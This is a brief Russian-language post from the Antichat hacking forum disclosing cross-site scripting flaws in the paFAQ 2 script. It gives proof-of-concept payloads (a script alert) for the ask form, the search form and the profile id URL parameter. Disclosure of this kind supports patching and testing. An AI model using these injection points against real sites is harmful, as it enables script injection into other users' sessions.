Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)

- - paFAQ 2 XSS (https://forum.antichat.xyz/showthread.php?t=31029)

» XSS

[1]

http://host/pafaq/index.php?act=ask
вводим:

Код:

<script>alert('preved');</script>

http://host/pafaq/index.php?act=search
Вводим:

Код:

<script>alert('preved');</script>

[2]

http://host/pafaq//index.php?act=profile&id=%22%3E%3Cscript%3Ealert(' preved');%3C/script%3E